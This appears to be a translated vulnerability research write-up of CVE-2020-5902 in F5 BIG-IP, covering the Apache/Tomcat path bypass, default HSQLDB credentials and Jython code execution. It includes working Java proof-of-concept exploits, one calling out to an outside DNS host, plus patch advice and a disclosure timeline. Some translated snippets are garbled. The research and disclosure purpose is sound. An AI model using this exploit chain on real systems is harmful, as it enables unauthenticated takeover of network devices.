Parsing: How We Found the RCE Vulnerability in the F5 Big-IP Application Delivery Controller

F5’s BIG-IP is a popular application delivery controller used by the largest companies in the world. In the course of analyzing the security of this product, we managed to find dangerous vulnerability CVE-2020-5902. This security error allows an attacker to gain the ability to execute commands on behalf of an unauthorized user and completely compromise the system, for example, to intercept the traffic of web resources controlled by the controller.

According to our data, in June 2020, from the Internet it was possible to access 8 thousand devices containing the CVE-2020-5902 vulnerability. Her detailed analysis is in our new article.

What is the problem

F5’s BIG-IP is a popular application delivery controller that apply the largest companies in the world. Vulnerability CVE-2020-5902 received a rating of 10 points on the CVSS scale – this is the highest level of danger.

The vulnerability could allow a remote attacker, including one who did not authenticate but has access to the BIG-IP configuration utility, to execute arbitrary code in software (remote code execution, RCE). As a result, the attacker will be able to create or delete files, disable services, intercept information, execute arbitrary system commands and arbitrary Java code, completely compromise the system and develop an attack, for example, on the internal network segment.

A combination of security flaws in several system components (for example, going outside the catalog) leads to RCE. Companies in which the F5 BIG-IP web interface can be found in special search engines such as Shodan are especially at risk, but it should be noted that not all user companies can access the required interface from the global network.

During the monitoring of actual threats (threat intelligence), we found out that at the end of June 2020 there were over 8 thousand vulnerable devices accessible from the Internet in the world, 40% of them in the USA, 16% in China, 3% in Taiwan , 2.5% each in Canada and Indonesia. In Russia, less than 1% of vulnerable devices were detected.

Now let’s move on to the story of how we managed to find CVE-2020-5902.

Looking for web server configuration errors

Let’s install F5 Big-IP on our virtual machine, and get access to its command shell:

F5 Big-IP Command Line Interface

The first thing to do to start the review is to look at all open ports, and which applications use them. So we will identify all possible entry points into the system. To do this, use the netstat command:

Search for open ports on a device

I like to analyze web applications, so let’s get down to analyzing the configuration of the httpd server that listens on the 443 / tcp port.

The most interesting file from its configuration is “/etc/httpd/conf.d/proxy_ajp.conf”:

LoadModule proxy_ajp_module modules/mod_proxy_ajp.so

#
# When loaded, the mod_proxy_ajp module adds support for
# proxying to an AJP/1.3 backend server (such as Tomcat).
# To proxy to an AJP backend, use the "ajp://" URI scheme;
# Tomcat is configured to listen on port 8009 for AJP requests
# by default.
#

#
# Uncomment the following lines to serve the ROOT webapp
# under the /tomcat/ location, and the jsp-examples webapp
# under the /examples/ location.
#
#ProxyPass /tomcat/ ajp://localhost:8009/
#ProxyPass /examples/ ajp://localhost:8009/jsp-examples/

ProxyPassMatch ^/tmui/(.*.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5


ProxyPassMatch ^/lunaui/(.*.jsf.*)$ ajp://localhost:8009/lunaui/$1
ProxyPassMatch ^/lunaui/primefaces_resource/(.*)$ ajp://localhost:8009/lunaui/primefaces_resource/$1
ProxyPassMatch ^/lunaui/em_resource/(.*)$ ajp://localhost:8009/lunaui/em_resource/$1



ProxyPassMatch ^/waui/(.*)$ ajp://localhost:8009/waui/$1 retry=5

The contents of the file /etc/httpd/conf.d/proxy_ajp.conf

This file configures Apache so that it transfers requests to Apache Tomcat to the local port 8009 / tcp via the AJP protocol, but only if these requests match one of the specified regular expressions.

Discovering an application that listens on port 8009 / tcp

It is important to refer to study Orange Tsai on how to get chained servers to handle URLs differently. In particular, for our combination of Apache HTTP Server and Apache Tomcat, we can test the sequence of characters “..; /”:

Presentation slide Orange Tsai

According to this study, Apache HTTP Server will parse the sequence as a valid folder name, while Apache Tomcat will think that this combination indicates a switch to the previous directory.

To understand whether this method will work, you need to get the path to one of the Tomcat hidden endpoints in the configuration file:


        org.apache.jsp.tiles.tmui.em_005ffilter_jsp
        /tiles/tmui/em_filter.jsp
 

A fragment of the configuration file /usr/local/www/tmui/WEB-INF/web.xml

The path /tiles/tmui/em_filter.jsp should not match the regular expressions in the proxy_ajp.conf file, so we test:

Testing Orange Tsai

A regular request returns code 404, and a request using the Orange Tsai technique returns code 200. Thus, now we can access any pages on the Apache Tomcat internal server of the device under investigation.

Finding Tomcat’s Vulnerable Endpoints

Let’s examine the configuration of the Apache Tomcat server, and try to find vulnerable endpoints in it.

We used the path /tiles/tmui/em_filter.jsp earlier, but now let’s try to find something more useful:


        hsqldb
        org.hsqldb.Servlet
        3
    
        hsqldb
        /hsqldb/*
    

A fragment of the file /usr/local/www/tmui/WEB-INF/web.xml

My attention was drawn to the path “/ hsqldb /”, which is processed by the class org.hsqldb.Servlet. Acronym HSQLDB means Hyper SQL Database and its path / hsqldb / is responsible for providing access to the database itself.

Check if our technique can be used to access this path:

HSQLDB Availability Check

Thus, we managed to bypass authorization and gain access to HSQLDB. The official site of HSQLDB has database connection guide via HTTP, and it says that you can use a special Java driver to connect to the database via HTTP. And to connect, you need to know the login and password for the database.

We will use the “golden technique” called “Google Search” and find the default usernames and passwords for HSQLDB:

Google shows you the default username and password directly on the search page

Now we will write Proof-Of-Concept in Java to test our assumption that the HSQLDB driver can work with such default data for login:

package com.company;

import java.sql.*;
import java.lang.*;

public class Main {
    public static void main(String[] args) throws Exception {
        Class.forName("org.hsqldb.jdbcDriver");
        Connection c = DriverManager.getConnection("jdbc:hsqldb:https://10.0.0.1/tmui/login.jsp/..%3B/hsqldb/", "SA", "");
        Statement stmt = null;
        ResultSet result = null;
        stmt = c.createStatement();
        result = stmt.executeQuery("SELECT * FROM INFORMATION_SCHEMA.SYSTEM_USERS");
        while (result.next()) {
            System.out.println("Got result: " + result.getString(1));
        }
        result.close();
        stmt.close();
    }
}

PoC code to connect to HSQLDB and query the list of HSQLDB users

The result of executing the above PoC code

The code was executed and brought the first user out of the table, which means that now we can execute arbitrary SQL queries without any authentication in the F5 Big-IP interfaces.

Learning the HSQLDB endpoint

I spent a little time in the HSQLDB documentation and settled on CALL statement – with it, you can execute stored procedures, including any static Java methods in the HSQLDB classpath.

Let’s get the classpath from HSQLDB:

Request: CALL “java.lang.System.getProperty” (‘java.class.path’)
Answer: “/usr/share/tomcat/bin/bootstrap.jar:/usr/share/tomcat/bin/tomcat-juli.jar:/usr/local/www/tmui/WEB-INF/classes”

This is exactly the same classpath as the Apache Tomcat server.

Now we need to find any static method that allows remote code execution. After a brief search in the tmui.jar file in the class com.f5.view.web.pagedefinition.shuffler.Scripting, the setRequestContext method was found:

public static void setRequestContext(String object, String screen)
{
     PyObject current = getInterpreter().eval(object + "__" + screen + "()");
     currentObject.set(current);
}

We are trying to call this method with arbitrary data:

Request: CALL “com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext” (‘aa’, ‘bb’)
Answer: “NameError: aa__bb”,

We see that we are in the context of the execution of Python code, and passed the wrong data.

We try to import the os module and call the system function:

Request: CALL “com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext” (‘__ import __ (“os”). System () #’, ‘# 11’)
Answer: “ImportError: no module named javaos”

Google the error and find out that this is typical behavior for the Jython language.

We try to execute the command in another way:

Request: CALL “com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext” (‘Runtime.getRuntime (). Exec (“ls”) #’, “https://habr.com/en/company/ pt / blog / 511118 / # “)
Answer: null

From this request, we got null, which tells us about the successful execution of the command. Now, let’s collect the final PoC code, which will send a dns request if the server is vulnerable:

package com.company;

import java.sql.*;
import java.lang.*;

public class Main {
    public static void main(String[] args) throws Exception {
        Class.forName("org.hsqldb.jdbcDriver");
        Connection c = DriverManager.getConnection("jdbc:hsqldb:https://localhost.localdomain/tmui/login.jsp/..%3B/hsqldb/", "SA", "");
        Statement stmt = null;
        ResultSet result = null;
        stmt = c.createStatement();
        result = stmt.executeQuery("CALL "com.f5.view.web.pagedefinition.shuffler.Scripting.setRequestContext"('Runtime.getRuntime().exec("nslookup test.dns.samplehost.com")#',"https://habr.com/ru/company/pt/blog/511118/#")");
        while (result.next()) {
            System.out.println("Got result: " + result.getString(1));
        }
        result.close();
        stmt.close();
    }
}

And get the RCE in our F5 Big-IP using the reverse shell commands:

Gaining access to F5 Big-IP through a discovered vulnerability chain

Summary

We received RCE from an unauthorized user in three simple steps:

  1. Found an error in the configuration of Apache HTTP Server and Apache Tomcat
  2. Used the default password for HSQLDB
  3. Used non-obvious static methods in the code of the F5 Big-IP library

How to protect yourself

To fix the vulnerability, it is necessary to update the system to the latest version: vulnerable versions of BIG-IP (11.6.x, 12.1.x, 13.1.x, 14.1.x, 15.0.x, 15.1.x) should be replaced with versions in which the vulnerability is fixed ( BIG-IP 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, 15.1.0.4). For users of public cloud marketplaces (AWS, Azure, GCP and Alibaba), you must use the BIG-IP Virtual Edition (VE) versions 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6 or 15.1.0.4), provided that they are available on these markets. Other recommendations are given in F5 BIG-IP notification.

Author: Mikhail Klyuchnikov (@__mn1__), Positive Technologies

Timeline:

  • April 1, 2020 – vulnerability information sent to F5 Networks
  • April 3, 2020 – F5 team was able to reproduce vulnerabilities
  • July 1, 2020 – Security Advisory and updates for most vulnerable versions are released

Similar Posts

Leave a Reply

Your email address will not be published. Required fields are marked *